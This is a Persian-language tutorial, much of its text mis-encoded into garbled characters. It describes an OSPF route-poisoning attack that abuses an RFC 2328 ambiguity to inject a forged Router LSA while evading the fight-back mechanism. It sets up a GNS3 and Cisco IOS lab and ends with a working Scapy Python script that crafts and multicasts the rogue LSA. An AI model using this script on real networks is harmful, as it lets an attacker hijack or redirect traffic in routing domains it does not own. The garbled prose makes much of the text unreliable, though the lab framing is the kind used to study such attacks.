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 یعمل ویهمراه سنار FDSO یابیریها در پروتکل مس BDSL یحمله بررو

 (AHA - XMen Teamحمید رضایی )

 

 

 :خَاّین داضت تا حولِ تْتش دسک ضَد OSPF اتتذا هشٍسی تش قَاػذ

 قَاػذ تشاساس ٍظؼیت پیًَذّایا ّواى Link-State ِاست، تٌاتشایي ّوِ سٍتشّایی کِ دس یک ًاحی OSPF 

 .سٍ یادتگیشًذ Area داسًذ تایستی تَپَلَطی آى قشاس

 تطَسکلی OSPF سِ هشحلِ داسد: 

ّا کِ ضشایط تشقشاسی استثاط ٍ تثادل دادُ ّا سا داسد، دس جذٍلی تِ  neighborاطلاػات سٍتشّای هجاٍس،  .1

 .رخیشُ هی ضَد neighbor table ًام

 وسایِ است. ایي اطلاػات دس جذٍلی تِ ًامًگْذاسی ٍ تثادل اطلاػات تَپَلَصیکی ضثکِ، تیي سٍتشّای ّ .2

LSDB رخیشُ هی گشدد. 

 .اًجام هی ضَد Dijkstraکِ ایي کاستَسط الگَسیتن   LSDBاًتخاب تْتشیي هسیش اصسٍی جذٍل .3

استفادُ هی ضَد لزا تٌاتشهَقؼیت  LSA اص اسسال ٍ دسیافت تستِ ّایی تِ ًام Topology Database تشای ساخت

تواهی آًْا یکساى است. ساختاس ایي ّذس سا دس پاییي هی تَاًیذ هطاّذُ  Header داسین کِ LSA ًَع۱۱تَپَلَطیکی 

 : کٌیذ

 

 ا ایجاد یک لیٌک جذیذ سٍتشی کِ تغییش ساٍقتی تغییشی دس ٍظؼیت یک لیٌک ایجاد هی ضَد هاًٌذ قطغ،تغییش ّضیٌِ ٍ ی

Sense ًوَدُ است LSA ی کِ ضاهل تغییشات هَجَد است سا اص طشیق پیام Multicast  تشای ّوسایگاى خَد اسسال

هی کٌذ ٍ دس اداهِ آى سا  update خَد سا LSDB سا دسیافت هیکٌٌذ اتتذا تشاساس آى LSA هی کٌذ. سٍتشّایی کِ

اص تغییش آگاُ  Routing Domain ی ّوسایگاى خَدش ّن اسسال هی کٌذ ٍ دس هذت کَتاّیتشا Multicast تصَست

http://en.wikipedia.org/wiki/Dijkstra%27s_algorithm
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 Dijkstraهی ضَد. ٍقتی دیتاتیس ّش سٍتش تکویل ضذ دادُ ّای هَجَد تطکیل یک گشاف هی دٌّذ ٍ تا اجشای الگَسیتن 

 .تشسٍی گشاف تْتشیي هسیش تذست خَاّذ آهذ

 

 

هیگشدد ضشح دادُ ضذُ است، ظوٌا اگش دلیلی  LSA سٍیذاد کِ تاػث ایجاد ۱۱ًیض  RFC 2328 اص Section 12.4 دس

 .خَاّذ ضذ re-Advertise ًیض ۰۱minتؼذ اص  LSA ًثاضذآخشیي LSA تشای ایجاد

 :سِ فیلذ هَسد تَجِ است Header تاتَجِ تِ حولِ ای کِ هی خَاّین آى سا پیادُ ساصی کٌین دس 

 LS Type: ًَع LSA هاًٌذ( سا هطخص هی کٌذ Router,Network,Summary, …) دس ادهِ تشسٍی 

Router LSA  تحث خَاّین ًوَد. 

 Link State ID: هتٌاسة تا هقذاس فیلذ LS Type ً دسقص ٍ هقذاس هتفاٍتی خَاّذ داضت، اها ایي فیلذ ًیض 

Router LSA فیلذ تشاتش ایي Router ID سٍتش ایجاد کٌٌذُ پیام است دسٍاقغ ّواى سٍتشی کِ تغییش سا 

sense کشدُ است. 

 Advertising Router: ایي فیلذ دس Router LSA هقذاس ّواى تشاتش Link-State ID است. 

  

 است یا ًِ؟ دسصَست Uniqueدسیافتی  LSA فیلذ هی تَاى تطخیص داد کِ تشاساس ایي سِ Section 12.1 دس

Unique ِتَدى ت LSDB اظافِ خَاّذ ضذ دسغیشایٌصَست اگش ًوًَِ ای قثلا دس LSDB  هَجَد تاضذ دسصَست جذیذ

 .خَد خَاّذ ضذ LSA تَدى جایگضیي ًسخِ قثلی اص

 

 

 چیست وچگونه تریگر می شود؟  Fight-Back مکانیزم امنیتی

 جؼلی اص خَدش سا دسٍى ضثکِ هطاّذُ کٌذ، ایي حق سا داسد تا LSA ّشگاُ سٍتشی

Valid LSA سا تشای ّوِ سٍتشّا اسسال کٌذ. تشاساس Section 13.4 اگش LSA 

خَدش تاضذ ٍ  ROuter ID آى تشاتش تا Advertising Router دسیافتی فیلذ

کِ خَدش ایجاد کشدُ تاضذ، ایي هکاًیضم تشیگش خَاّذ ضذ.  LSA ّوچٌیي جذیذتش اص

 :دسٍاقغ تصَست ضثِ کذ هیتَاى چٌیي چیضی سا داضت

 

http://en.wikipedia.org/wiki/Dijkstra%27s_algorithm
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ضَد. دس حولِ کِ اًجام هی دّین  هی  چک Advertising Router ًکتِ قاتل تاهل دسایي قسوت خَاّذ تَد کِ فقط

 :ًیاص داسین تشسٍی دٍفیلذ تیطتش توشکض ًوایین

1. Link State ID 

2. Advertising ID 

دیگش سٍتشّا سا ایجاد ًوایذ  LSA خَد سا ایجاد هی کٌذ ٍ اًتظاس ًوی سٍد کِ سٍتشی LSA ّش سٍتش OSPF تشاساس قَاػذ

 دٍ ایي تَدى یکساى ًوَدى  تشای چک OSPF ادُ ضذ تایستی هقذاس یکساى داضتِ تاضذ. دسپس دٍ فیلذ تالا کِ تَظیح د

ی سا اسسال کشد کِ دٍ فیلذ هقذاسی هتفاٍت داضتِ  LSA فیلذ ػول خاصی اًجام ًوی ضَد ٍ ایي تاػث هی ضَد تا تتَاى

 ا اص سوت تشخی قشتاًی ّاس Router LSA هی کٌین هْاجن هی خَاّذ فشض کِ است صَست تذیي حولِ ضشح  تاضذ.

(Rv) اسسال کٌذ: 

 LS ID: تشاتش است تا ID سٍتش Rv 

  Advertising router: ّش هقذاس تِ جض هقذاس ID سٍتش Rv 

  

 فؼال ًخَاّذ حتی دس دیگش سٍتشّا دسٍى Fight Back هی تًَین اطویٌاى خاطش داضتِ تاضین کِ OSPF تشاساس قَاػذ

AS  ٍ LSA جؼلی سا دسٍى LSDB  ِخَدضاى قشاس هی دٌّذ اها تاایي حال هطکلی پیص سٍ خَاّین داضت. ّواًطَس ک

ًخَاّذ ضذ  LSDB هؼتثش دس LSA جؼلی جایگضیي LSA تشاساس سِ فیلذ RFC اص ۱۱٫۱قثل گفتِ ضذ دس تخص 

جؼلی  LSA ّوچٌیي ًویتَاى اطویٌاى داضت تا  (یکساى ًیست Advertising Router) تخاطش ایٌکِ هتفاٍت ّستٌذ

پشداختِ است اتْاهی ٍجَد داسد کِ هی تَاى اص آى استفادُ ًوَد  OSPF ی کِ تِ ضشح RFC پاک ًطَد. دس LS DB اص

 Vertex تشاساس LSDB گفتِ هی ضَد کِ هحاسثِ هسیشّا تشسٍی ۱۱٫۱ تخص تشاساس. داد  ٍ حولِ سا تا هَفقیت اًجام

ID خَاّذ تَد: 

“ This is a lookup … based on the Vertex ID  “ 

هی تاضذ. یؼٌی ٍقتی سٍتشّا هی خَاٌّذ جذٍل  Link State ID ّواى فیلذ Vertex ID ًیض OSPF دس ضشح

 .هسیشیاتی سا تطکیل دٌّذ تشاساس ایي فیلذ ػول خَاٌّذ ًوَد

یکساى  Link-State ID تا هقذاس LSAٍجَد داسد ها دٍ  RFC حال اتْاهی تَجَد هی آیذ، تاتَجِ تِ اتْاهی کِ دس

هؼتثشٍاصلی؟  LSA جؼلی ٍ یا LSA هَسد استفادُ قشاس هیگیشدد؟ LSDB اص  LSA کذام   هحاسثات اًجام تشای  داسین.

 Links State فیلذ LSA ٍجَد داسد. ّشدٍ AS دسٍى LSDB جؼلی ٍ اصلی دس تواهی LSA تِ یاد داسین کِ ّشدٍ

ID داسای هقذاس یکساى ّستٌذ.تشاساس هتي OSPF ِپاسخگَیی ایي سَال ًخَاّین تَد تٌاتشایي جَاب تستگی تِ  قادس ت

 .پیادُ ساصی داسد

 تشاساس تحقیقات اًجام ضذُ .ّای سیسکَ است IOS سا پیادُ ساصی کشدُ اًذ تشپایِ OSPF اکثش ضثکِ ّایی کِ

Infonetics  دسصذ ضثکِ ّای ۵۷تقشیثا Enterprise دُ ساصی حولِ اصدس جْاى اص سیسکَ استفادُ هی کٌٌذ. تشای پیا 

GNS3 ٍ SCAPY استفادُ هی کٌین کِ تشسٍی سٍتش c7200 ِآخشیي ًسخ ٍ Stable اص IOS  اسائِ ضذُ تَسط

 .است ۱M-۱۷۱سیسکَ کِ ٍسطى 
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LSA ُجؼلی سا تا ضواس Sequence تالاتش اص LSA اصلی اسسال هی کٌین. LSA جؼلی ًِ تٌْا دس LSDB  قشاس هی

 خَب حال دس ػول چگًَِ خَاّذ تَد. اسکشیي ضات اص .جایگضیي خَاّذ ضذ AS ی دسٍىّا LSDB گیشد تلکِ دس تواهی

GNS3 ِسا هیثیٌین کِ سؼی ًوَدُ این تصَست خیلی سادُ حولِ اًجام ضَد چَى تٌْا ًیاص ت POC حولِ داسین. 

 

 

ظافِ ًوَدى آًْا تِ داهٌِ تشای ایٌتشفیس ّا ٍ ّوچٌیي ا IP کاًفیگ سٍتشّا ًیض کاسخاصی ًذاسًذ تٌْا ًیاص تِ تؼشیف

 R1 است. ًکتِ قاتل رکش ایٌجاست کِ تشسٍی سٍتش Backtrack ّن ًیض ّواى Attacker .هی تاضذ OSPF هسیشیاتی

سا کاًفیگ هیکٌین.  Ip=192.168.200.20 ٍ Subnetmask=255.255.255.255 تا Loopback یک ایٌتشفیس

 تَسط ًفَرگش هی تاضذ کِ دس ایي جؼل پیام ایٌتشفیس R2 ٍ اسسال آى تِ R1 ّذف دس ایي سٌاسیَ جؼل پیام

Loopback تؼشیف ضذُ سا تِ داهٌِ هسیشیاتی ٍاسد هی کٌین ٍ سشٍیس Non-repudiation  ،ًیض ًقط هی ضَد

تؼذ اص اسسال پکت تشسٍی سٍتشّا هی  .پکت ّای اسسالی سا هطاّذُ کٌیذ wireshark ّوچٌیي هیتَاًیذ تا استفادُ اص

 .تغییشاتی کِ پکت ایجاد ًوَدُ است سا هطاّذُ کٌیذ show ip ospd database ا دستَستَاًیذ ت
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  Scapy سَسس حولِ تِ صتاى پایتَى ٍ

''' 

Created on Aug 28, 2013 

 

@author: AHA - 4xmen.ir 

''' 

 

#!/usr/bin/env python 

from scapy.all import * 

from ospf import * 

 

def ourSend(packet): 

        sendp(packet,iface='eth1') 

 

host1='10.0.3.2'       

advr_routers='10.0.8.7' 

host2='10.0.2.1'        

sequence=0x80000918        

 

link2host1 = OSPF_Link(id=host1,data='10.0.3.3',type=2,metric=1) 

link2host2 = OSPF_Link(id=host2,data='10.0.2.3',type=2,metric=1) 

link2victim = 

OSPF_Link(id=’192.168.200.20’,data=’255.255.255.255’,type=3,metric=1) 

 

IPlayer=IP(src='10.0.1.1',dst='224.0.0.5') 

OSPFHdr=OSPF_Hdr(src='10.0.6.1') 

rogueLsa=Ether()/IPlayer/OSPFHdr/OSPF_LSUpd(lsacount=1,lsalist=[OSPF_Rout

er_LSA(options=0x22,id='10.0.3.3',adrouter=advr_routers,seq=sequence,\ 

                                            

linkcount=3,linklist=[link2victim,link2host1,link2host2])]) 

 

ourSend(rogueLsa) 

 
 


